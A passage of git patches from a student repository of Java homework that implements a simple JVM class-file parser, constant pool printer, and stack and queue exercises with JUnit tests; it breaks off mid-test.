+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<>();
+    public byte[] readBinaryCode(String className){
+        className = className.replace('.', File.pathSeparatorChar) +".class";
+        for (String path:this.clzPaths){
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes!=null){
+                return codes;
+            }
+        }
+        return null;
+    }
+
+    public byte[] loadClassFile(String clzFileName){
+        File f = new File(clzFileName);
+        try {
+            return IOUtils.toByteArray(new FileInputStream(f));
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public void addClassPath(String path){
+        if(clzPaths.contains(path)){
+            return;
+        }
+        clzPaths.add(path);
+    }
+
+    public String getClassPath(){
+        return StringUtils.join(this.clzPaths,";");
+    }
+    public ClassFile loadClass(String className){
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParse parser = new ClassFileParse();
+        return parser.parse(codes);
+    }
+    public String getClassPath_V1(){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<this.clzPaths.size();i++){
+            sb.append(this.clzPaths.get(i));
+            if(i<this.clzPaths.size()-1){
+                sb.append(";");
+            }
+        }
+        return sb.toString();
+    }
+
+    public byte[] loadClassFile_V1(String clzFileName){
+        BufferedInputStream bis = null;
+        File f = new File(clzFileName);
+        try {
+            bis = new BufferedInputStream(new FileInputStream(f));
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+            byte[] buffer = new byte[1024];
+            int length = -1;
+            while ((length=bis.read(buffer))!=-1){
+                bos.write(buffer,0,length);
+            }
+            byte[] codes = bos.toByteArray();
+            return codes;
+        }  catch (IOException e) {
+            e.printStackTrace();
+        }finally {
+            if(bis!=null){
+                try {
+                    bis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileParse.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileParse.java
new file mode 100644
index 0000000000..1cfc66ba32
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileParse.java
@@ -0,0 +1,142 @@
+package main.coding_170430.jvm.loader;
+
+import main.coding_170430.jvm.clz.AccessFlag;
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.clz.ClassIndex;
+import main.coding_170430.jvm.constant.*;
+import main.coding_170430.jvm.field.Field;
+import main.coding_170430.jvm.method.Method;
+
+import java.io.UnsupportedEncodingException;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassFileParse {
+    public ClassFile parse(byte[] codes) {
+        ClassFile clzFile = new ClassFile();
+
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+
+        String magicNumber = iterator.nextU4ToHexString();
+
+        if (!"cafebabe".equals(magicNumber)) {
+            return null;
+        }
+        clzFile.setMinorVersion(iterator.nextU2ToInt());
+        clzFile.setMajorVersion(iterator.nextU2ToInt());
+
+        ConstantPool pool = parseConstantPool(iterator);
+        clzFile.setConstantPool(pool);
+
+        AccessFlag flag = parseAccessFlag(iterator);
+        clzFile.setAccessFlag(flag);
+
+        parseInterfaces(iterator);
+
+        parseFields(clzFile, iterator);
+
+        parseMethods(clzFile, iterator);
+
+        return clzFile;
+    }
+
+    public AccessFlag parseAccessFlag(ByteCodeIterator iterator) {
+        AccessFlag flag = new AccessFlag(iterator.nextU2ToInt());
+        return flag;
+    }
+
+    public ClassIndex parseClassIndex(ByteCodeIterator iterator) {
+        int thisClassIndex = iterator.nextU2ToInt();
+        int superClassIndex = iterator.nextU2ToInt();
+
+        ClassIndex clzIndex = new ClassIndex();
+
+        clzIndex.setThisClassIndex(thisClassIndex);
+        clzIndex.setSuperClassIndex(superClassIndex);
+        return clzIndex;
+    }
+
+    public ConstantPool parseConstantPool(ByteCodeIterator iterator) {
+        int constantPoolCount = iterator.nextU2ToInt();
+
+        ConstantPool pool = new ConstantPool();
+        pool.addConstantInfo(new NullConstantInfo());
+
+        for (int i = 1; i <= constantPoolCount - 1; i++) {
+            int tag = iterator.nextU1ToInt();
+            if (tag == 7) {
+                //Class Info
+                int utf8Index = iterator.nextU2ToInt();
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(utf8Index);
+
+                pool.addConstantInfo(classInfo);
+            } else if (tag == 1) {
+                //UTF-8 String
+                int len = iterator.nextU2ToInt();
+                byte[] data = iterator.getBytes(len);
+                String value = null;
+                try {
+                    value = new String(data, "UTF-8");
+                } catch (UnsupportedEncodingException e) {
+                    e.printStackTrace();
+                }
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setLength(len);
+                utf8Info.setValue(value);
+                pool.addConstantInfo(utf8Info);
+            } else if (tag == 8) {
+                StringInfo info = new StringInfo(pool);
+                info.setIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(info);
+            } else if (tag == 9) {
+                FieldRefInfo field = new FieldRefInfo(pool);
+                field.setClassInfoIndex(iterator.nextU2ToInt());
+                field.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(field);
+            } else if (tag == 10) {
+                //MethodRef
+                MethodRefInfo method = new MethodRefInfo(pool);
+                method.setClassInfoIndex(iterator.nextU2ToInt());
+                method.setNameAndTypeIndex(iterator.nextU2ToInt());
+                pool.addConstantInfo(method);
+            } else if (tag == 12) {
+                //Name and Type Info
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                nameAndTypeInfo.setIndexA(iterator.nextU2ToInt());
+                nameAndTypeInfo.setIndexB(iterator.nextU2ToInt());
+                pool.addConstantInfo(nameAndTypeInfo);
+            } else {
+                throw new RuntimeException("the constant pool tag " + tag + " has not implemented");
+            }
+        }
+        System.out.println("Finished reading Constant pool");
+
+        return pool;
+    }
+
+    public void parseInterfaces(ByteCodeIterator iterator) {
+        int interfaxrCount = iterator.nextU2ToInt();
+        System.out.println("interfaceCount:" + interfaxrCount);
+        //如果实现了接口这里需要实现
+    }
+
+    public void parseFields(ClassFile clzFile, ByteCodeIterator iterator) {
+        int fieldCount = iterator.nextU2ToInt();
+
+        for (int i = 1; i <= fieldCount; i++) {
+            Field f = Field.parse(clzFile.getConstantPool(), iterator);
+            clzFile.addField(f);
+        }
+    }
+
+    public void parseMethods(ClassFile clzfFile, ByteCodeIterator iterator) {
+        int methodCount = iterator.nextU2ToInt();
+
+        for (int i = 0; i <= methodCount; i++) {
+            Method m = Method.parse(clzfFile, iterator);
+            clzfFile.addMethod(m);
+        }
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/method/Method.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/method/Method.java
new file mode 100644
index 0000000000..34af577fb4
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/method/Method.java
@@ -0,0 +1,83 @@
+package main.coding_170430.jvm.method;
+
+import main.coding_170430.jvm.attr.AttributeInfo;
+import main.coding_170430.jvm.attr.CodeAttr;
+import main.coding_170430.jvm.clz.ClassFile;
+import main.coding_170430.jvm.constant.ConstantPool;
+import main.coding_170430.jvm.constant.UTF8Info;
+import main.coding_170430.jvm.loader.ByteCodeIterator;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Method {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+    private ClassFile clzFile;
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr codeAttr) {
+        this.codeAttr = codeAttr;
+    }
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex){
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+    @Override
+    public String toString() {
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder sb = new StringBuilder();
+
+        String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        sb.append(name).append(":").append(desc).append("\n");
+        sb.append(this.codeAttr.toString(pool));
+
+        return sb.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iterator){
+        int accessFlag = iterator.nextU2ToInt();
+        int nameIndex = iterator.nextU2ToInt();
+        int descIndex = iterator.nextU2ToInt();
+        int attributeCount = iterator.nextU2ToInt();
+
+        Method m = new Method(clzFile,accessFlag,nameIndex,descIndex);
+
+        for(int i=1;i<attributeCount;i++){
+            int attrNameIndex = iterator.nextU2ToInt();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iterator.back(2);
+            if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+                CodeAttr codeAttr = CodeAttr.parse(clzFile,iterator);
+                m.setCodeAttr(codeAttr);
+            }else {
+                throw new RuntimeException("only Code attribute is implemented");
+            }
+        }
+        return  m;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ClassFilePrinter.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..90babe5a23
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,33 @@
+package main.coding_170430.jvm.print;
+
+import main.coding_170430.jvm.clz.ClassFile;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class ClassFilePrinter {
+    ClassFile clzFile = null;
+    public ClassFilePrinter(ClassFile clzFile){
+        this.clzFile = clzFile;
+    }
+
+    public void print(){
+        if(clzFile.getAccessFlag().isPublicClass()){
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:"+ clzFile.getClassName());
+
+        System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+
+        System.out.println("minor version:" + clzFile.getMinorVersion());
+
+        System.out.println("major version:" + clzFile.getMinorVersion());
+
+        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+        cnstPoolPrinter.print();
+    }
+
+    public static void main(String[] args) {
+
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ConstantPoolPrinter.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..cc47685fb6
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,35 @@
+package main.coding_170430.jvm.print;
+
+import main.coding_170430.jvm.constant.*;
+
+/**
+ * Created by peterchen on 2017/4/26.
+ */
+public class ConstantPoolPrinter {
+    private ConstantPool pool;
+
+    public ConstantPoolPrinter(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public void print() {
+        for (int i = 1; i < pool.getSizes(); i++) {
+            if (pool.getConstantInfo(i) instanceof ClassInfo) {
+                System.out.println("#"+i+" = Class        "+"#"+((ClassInfo) pool.getConstantInfo(i)).getUtf8Index());
+            } else if (pool.getConstantInfo(i) instanceof UTF8Info) {
+                System.out.println("#"+i+" = Utf8        "+"#"+((UTF8Info) pool.getConstantInfo(i)).getValue());
+            } else if (pool.getConstantInfo(i) instanceof StringInfo) {
+                System.out.println("#"+i+" = String        "+"#"+((StringInfo) pool.getConstantInfo(i)).getIndex());
+            } else if (pool.getConstantInfo(i) instanceof MethodRefInfo) {
+                System.out.println("#"+i+" = Methodref        "+"#"+((MethodRefInfo) pool.getConstantInfo(i)).getClassInfoIndex()+".#"+((MethodRefInfo) pool.getConstantInfo(i)).getNameAndTypeIndex());
+            } else if (pool.getConstantInfo(i) instanceof FieldRefInfo) {
+                System.out.println("#"+i+" = Fieldref        "+"#"+((FieldRefInfo) pool.getConstantInfo(i)).getClassInfoIndex()+".#"+((FieldRefInfo) pool.getConstantInfo(i)).getNameAndTypeIndex());
+            } else if (pool.getConstantInfo(i) instanceof NameAndTypeInfo) {
+                System.out.println("#"+i+" = NameAndType        "+"#"+((NameAndTypeInfo) pool.getConstantInfo(i)).getIndexA()+":#"+((NameAndTypeInfo) pool.getConstantInfo(i)).getIndexB());
+            } else {
+                throw new RuntimeException("the constant has not implemented");
+            }
+        }
+
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170430/jvm/util/Util.java b/group11/729245768/DataStructure/src/main/coding_170430/jvm/util/Util.java
new file mode 100644
index 0000000000..d261142fe8
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/jvm/util/Util.java
@@ -0,0 +1,25 @@
+package main.coding_170430.jvm.util;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class Util {
+    public static int byteToInt(byte[] codes){
+        String s1 = byteToHexString(codes);
+        return Integer.valueOf(s1, 16).intValue();
+    }
+
+    public static String byteToHexString(byte[] codes){
+        StringBuffer sb = new StringBuffer();
+        for(int i=0;i<codes.length;i++){
+            byte b = codes[i];
+            int value = b &0xFF;
+            String strHex = Integer.toHexString(value);
+            if(strHex.length()<2){
+                strHex = "0"+strHex;
+            }
+            sb.append(strHex);
+        }
+        return sb.toString();
+    }
+}

From 4cecca6935942469c21304875c83e88275e5bddf Mon Sep 17 00:00:00 2001
From: learnGithubChen <729245768@qq.com>
Date: Fri, 5 May 2017 16:49:41 +0800
Subject: [PATCH 183/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A-test?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../main/coding_170430/CircleQueueTest.java   | 56 +++++++++++++++++++
 .../main/coding_170430/JosephusTest.java      | 25 +++++++++
 .../coding_170430/QueueWithTwoStacksTest.java | 52 +++++++++++++++++
 3 files changed, 133 insertions(+)
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170430/CircleQueueTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170430/JosephusTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170430/QueueWithTwoStacksTest.java

diff --git a/group11/729245768/DataStructure/tests/main/coding_170430/CircleQueueTest.java b/group11/729245768/DataStructure/tests/main/coding_170430/CircleQueueTest.java
new file mode 100644
index 0000000000..916eeb45db
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170430/CircleQueueTest.java
@@ -0,0 +1,56 @@
+package main.coding_170430;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by peterchen on 2017/5/4.
+ */
+public class CircleQueueTest extends TestCase {
+    @Test
+    public void testIsEmpty() throws Exception {
+        CircleQueue<Integer> queue = new CircleQueue<>();
+        Assert.assertTrue(queue.isEmpty());
+    }
+
+    @Test
+    public void testSize() throws Exception {
+        CircleQueue<Integer> queue = new CircleQueue<>();
+        Assert.assertEquals(queue.size(),0);
+        queue.enQueue(12);
+        queue.enQueue(23);
+        Assert.assertEquals(queue.size(),2);
+    }
+
+    @Test
+    public void testEnQueue() throws Exception {
+        CircleQueue<Integer> queue = new CircleQueue<>();
+        for(int i=0;i<9;i++){
+            queue.enQueue(i);
+        }
+        Assert.assertEquals(queue.size(),9);
+        queue.deQueue();
+        queue.enQueue(10);
+    }
+
+    @Test
+    public void testDeQueue() throws Exception {
+        CircleQueue<Integer> queue = new CircleQueue<>();
+        for(int i=0;i<5;i++){
+            queue.enQueue(i);
+        }
+        Assert.assertEquals(queue.size(),5);
+        queue.deQueue();
+        queue.deQueue();
+        queue.deQueue();
+        Assert.assertEquals(queue.size(),2);
+        for(int i=10;i<17;i++){
+            queue.enQueue(i);
+        }
+        Assert.assertEquals(queue.size(),9);
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170430/JosephusTest.java b/group11/729245768/DataStructure/tests/main/coding_170430/JosephusTest.java
new file mode 100644
index 0000000000..afe90e4fff
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170430/JosephusTest.java
@@ -0,0 +1,25 @@
+package main.coding_170430;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import java.util.List;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by peterchen on 2017/5/4.
+ */
+public class JosephusTest extends TestCase {
+    @Test
+    public void testExecute() throws Exception {
+        List<Integer> list = Josephus.execute(8,3);
+        int[] arrays = new int[list.size()];
+        for(int i=0;i<list.size();i++){
+            arrays[i] = list.get(i);
+        }
+        Assert.assertArrayEquals(arrays,new int[]{3,6,1,5,2,8,4,7});
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170430/QueueWithTwoStacksTest.java b/group11/729245768/DataStructure/tests/main/coding_170430/QueueWithTwoStacksTest.java
new file mode 100644
index 0000000000..92b313384c
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170430/QueueWithTwoStacksTest.java
@@ -0,0 +1,52 @@
+package main.coding_170430;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class QueueWithTwoStacksTest extends TestCase {
+    @Test
+    public void testIsEmpty() throws Exception {
+            QueueWithTwoStacks<Integer> twoStacks = new QueueWithTwoStacks<>();
+             Assert.assertTrue(twoStacks.isEmpty());
+    }
+
+    @Test
+    public void testSize() throws Exception {
+        QueueWithTwoStacks<Integer> twoStacks = new QueueWithTwoStacks<>();
+        twoStacks.enQueue(10);
+        twoStacks.enQueue(5);
+        Assert.assertEquals(twoStacks.size(),2);
+    }
+
+    @Test
+    public void testEnQueue() throws Exception {
+        QueueWithTwoStacks<Integer> twoStacks = new QueueWithTwoStacks<>();
+        twoStacks.enQueue(10);
+        twoStacks.enQueue(5);
+        twoStacks.enQueue(15);
+    }
+
+    @Test
+    public void testDeQueue() throws Exception {
+        QueueWithTwoStacks<Integer> twoStacks = new QueueWithTwoStacks<>();
+        twoStacks.enQueue(10);
+        twoStacks.enQueue(5);
+        twoStacks.enQueue(15);
+        twoStacks.enQueue(1);
+        twoStacks.enQueue(51);
+        twoStacks.enQueue(12);
+        twoStacks.enQueue(11);
+        twoStacks.enQueue(50);
+        twoStacks.enQueue(150);
+        while (!twoStacks.isEmpty()){
+            System.out.print(" "+twoStacks.deQueue());
+        }
+    }
+
+}
\ No newline at end of file

From 961b0918ac6e4cc482a4e4f01b38480635b266b4 Mon Sep 17 00:00:00 2001
From: learnGithubChen <729245768@qq.com>
Date: Fri, 5 May 2017 16:50:22 +0800
Subject: [PATCH 184/262] =?UTF-8?q?jvm=E7=AC=AC=E5=85=AD=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A-=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/coding_170507/QuickMinStack.java | 35 ++++++++
 .../coding_170507/StackWithTwoQueues.java     | 65 ++++++++++++++
 .../coding_170507/TwoStackInOneArray.java     | 85 +++++++++++++++++++
 3 files changed, 185 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170507/QuickMinStack.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170507/StackWithTwoQueues.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170507/TwoStackInOneArray.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170507/QuickMinStack.java b/group11/729245768/DataStructure/src/main/coding_170507/QuickMinStack.java
new file mode 100644
index 0000000000..2deeb01559
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170507/QuickMinStack.java
@@ -0,0 +1,35 @@
+package main.coding_170507;
+
+
+import java.util.ArrayList;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ */
+public class QuickMinStack {
+    private ArrayList<Integer> stack = new ArrayList<>();
+    private ArrayList<Integer> minStack= new ArrayList<>();
+    public void push(int data) {
+        stack.add(data);
+        if(minStack.size()==0){
+            minStack.add(data);
+        }else{
+            if(minStack.get(minStack.size()-1)>data){
+                minStack.add(data);
+            }
+        }
+    }
+
+    public int pop() {
+        int data = stack.remove(stack.size()-1);
+        if(data==minStack.get(minStack.size()-1)){
+            minStack.remove(minStack.size()-1);
+        }
+        return data;
+    }
+
+    public int findMin() {
+        return minStack.get(minStack.size()-1);
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170507/StackWithTwoQueues.java b/group11/729245768/DataStructure/src/main/coding_170507/StackWithTwoQueues.java
new file mode 100644
index 0000000000..c196d950f3
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170507/StackWithTwoQueues.java
@@ -0,0 +1,65 @@
+package main.coding_170507;
+
+import java.util.EmptyStackException;
+import java.util.LinkedList;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class StackWithTwoQueues {
+    private Queue queue1;
+    private Queue queue2;
+
+    public StackWithTwoQueues() {
+        queue1 = new Queue();
+        queue2 = new Queue();
+    }
+
+    public void push(int data) {
+        queue1.enQueue(data);
+    }
+
+    public int pop() {
+        if (queue1.isEmpty()) {
+            throw new EmptyStackException();
+        }
+        int currentLength = queue1.size();
+        for (int i = 0; i < currentLength - 1; i++) {
+            queue2.enQueue(queue1.deQueue());
+        }
+        int data = queue1.deQueue();
+        while (!queue2.isEmpty()) {
+            queue1.enQueue(queue2.deQueue());
+        }
+        return data;
+    }
+
+    private class Queue {
+        private LinkedList<Integer> linkedList = new LinkedList<>();
+
+        public boolean isEmpty() {
+            return linkedList.size() == 0;
+        }
+
+        public int size() {
+            return linkedList.size();
+        }
+
+        public void enQueue(Integer data) {
+            linkedList.add(data);
+        }
+
+        public Integer deQueue() {
+            int data = linkedList.removeFirst();
+            return data;
+        }
+    }
+
+    public static void main(String[] args) {
+        StackWithTwoQueues stackWithTwoQueues = new StackWithTwoQueues();
+        stackWithTwoQueues.push(10);
+        stackWithTwoQueues.push(20);
+        stackWithTwoQueues.push(30);
+        System.out.println(stackWithTwoQueues.pop());
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170507/TwoStackInOneArray.java b/group11/729245768/DataStructure/src/main/coding_170507/TwoStackInOneArray.java
new file mode 100644
index 0000000000..4c7bb70348
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170507/TwoStackInOneArray.java
@@ -0,0 +1,85 @@
+package main.coding_170507;
+
+import java.util.EmptyStackException;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ */
+public class TwoStackInOneArray {
+    Object[] data = new Object[10];
+    private int start = 0;
+    private int end = data.length-1;
+
+    /**
+     * 向第一个栈中压入元素
+     *
+     * @param o
+     */
+    public void push1(Object o) {
+        if(start==end){
+            throw new RuntimeException("栈满");
+        }
+        data[start++] = o;
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     *
+     * @return
+     */
+    public Object pop1() {
+        if(start==0){
+            throw new EmptyStackException();
+        }
+        return data[--start];
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek1() {
+        if(start==0){
+            throw new EmptyStackException();
+        }
+        return data[start-1];
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+        if(start==end){
+            throw new RuntimeException("栈满");
+        }
+        data[end--] = o;
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     *
+     * @return
+     */
+    public Object pop2() {
+        if(end==data.length-1){
+            throw new EmptyStackException();
+        }
+        return data[++end];
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     *
+     * @return
+     */
+
+    public Object peek2() {
+        if(end==data.length-1){
+            throw new EmptyStackException();
+        }
+        return data[end+1];
+    }
+}

From a9aec17ae6ac3aeab889e4bde4577dc98920b716 Mon Sep 17 00:00:00 2001
From: learnGithubChen <729245768@qq.com>
Date: Fri, 5 May 2017 16:50:48 +0800
Subject: [PATCH 185/262] =?UTF-8?q?jvm=E7=AC=AC=E5=85=AD=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A-test?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../main/coding_170507/QuickMinStackTest.java | 45 +++++++++++
 .../coding_170507/StackWithTwoQueuesTest.java | 34 ++++++++
 .../coding_170507/TwoStackInOneArrayTest.java | 77 +++++++++++++++++++
 3 files changed, 156 insertions(+)
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170507/QuickMinStackTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170507/StackWithTwoQueuesTest.java
 create mode 100644 group11/729245768/DataStructure/tests/main/coding_170507/TwoStackInOneArrayTest.java

diff --git a/group11/729245768/DataStructure/tests/main/coding_170507/QuickMinStackTest.java b/group11/729245768/DataStructure/tests/main/coding_170507/QuickMinStackTest.java
new file mode 100644
index 0000000000..2b2c4bd5c1
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170507/QuickMinStackTest.java
@@ -0,0 +1,45 @@
+package main.coding_170507;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class QuickMinStackTest extends TestCase {
+    @Test
+    public void testPush() throws Exception {
+        QuickMinStack minStack = new QuickMinStack();
+        minStack.push(5);
+        minStack.push(10);
+        minStack.push(3);
+        Assert.assertEquals(minStack.pop(),3);
+        Assert.assertEquals(minStack.pop(),10);
+        Assert.assertEquals(minStack.pop(),5);
+    }
+
+    @Test
+    public void testPop() throws Exception {
+        QuickMinStack minStack = new QuickMinStack();
+        minStack.push(5);
+        minStack.push(10);
+        Assert.assertEquals(minStack.pop(),10);
+        Assert.assertEquals(minStack.pop(),5);
+    }
+
+    @Test
+    public void testFindMin() throws Exception {
+        QuickMinStack minStack = new QuickMinStack();
+        minStack.push(15);
+        minStack.push(10);
+        Assert.assertEquals(minStack.findMin(),10);
+        minStack.pop();
+        minStack.push(20);
+        Assert.assertEquals(minStack.findMin(),15);
+
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170507/StackWithTwoQueuesTest.java b/group11/729245768/DataStructure/tests/main/coding_170507/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..ee8ef3bda8
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170507/StackWithTwoQueuesTest.java
@@ -0,0 +1,34 @@
+package main.coding_170507;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class StackWithTwoQueuesTest extends TestCase {
+    @Test
+    public void testPush() throws Exception {
+        StackWithTwoQueues twoQueues = new StackWithTwoQueues();
+        twoQueues.push(1);
+        twoQueues.push(2);
+        twoQueues.push(3);
+        Assert.assertEquals(3,twoQueues.pop());
+        Assert.assertEquals(2,twoQueues.pop());
+    }
+
+    @Test
+    public void testPop() throws Exception {
+        StackWithTwoQueues twoQueues = new StackWithTwoQueues();
+        twoQueues.push(15);
+        twoQueues.pop();
+        twoQueues.push(20);
+        twoQueues.push(30);
+        Assert.assertEquals(30,twoQueues.pop());
+        Assert.assertEquals(20,twoQueues.pop());
+    }
+
+}
\ No newline at end of file
diff --git a/group11/729245768/DataStructure/tests/main/coding_170507/TwoStackInOneArrayTest.java b/group11/729245768/DataStructure/tests/main/coding_170507/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..5764cf5923
--- /dev/null
+++ b/group11/729245768/DataStructure/tests/main/coding_170507/TwoStackInOneArrayTest.java
@@ -0,0 +1,77 @@
+package main.coding_170507;
+
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Created by peterchen on 2017/5/5.
+ */
+public class TwoStackInOneArrayTest extends TestCase {
+    @Test
+    public void testPush1() throws Exception {
+        TwoStackInOneArray inOneArray = new TwoStackInOneArray();
+        inOneArray.push1(1);
+        inOneArray.push1(2);
+        inOneArray.push1(3);
+        Assert.assertEquals(3,inOneArray.peek1());
+        inOneArray.pop1();
+        Assert.assertEquals(2,inOneArray.peek1());
+    }
+
+    @Test
+    public void testPop1() throws Exception {
+        TwoStackInOneArray inOneArray = new TwoStackInOneArray();
+        inOneArray.push1(10);
+        inOneArray.push1(20);
+        inOneArray.pop1();
+        inOneArray.push1(30);
+        inOneArray.push1(50);
+        Assert.assertEquals(50,inOneArray.peek1());
+        inOneArray.pop1();
+        Assert.assertEquals(30,inOneArray.peek1());
+    }
+
+    @Test
+    public void testPeek1() throws Exception {
+        TwoStackInOneArray inOneArray = new TwoStackInOneArray();
+        inOneArray.push1(100);
+        Assert.assertEquals(100,inOneArray.peek1());
+    }
+
+    @Test
+    public void testPush2() throws Exception {
+        TwoStackInOneArray inOneArray = new TwoStackInOneArray();
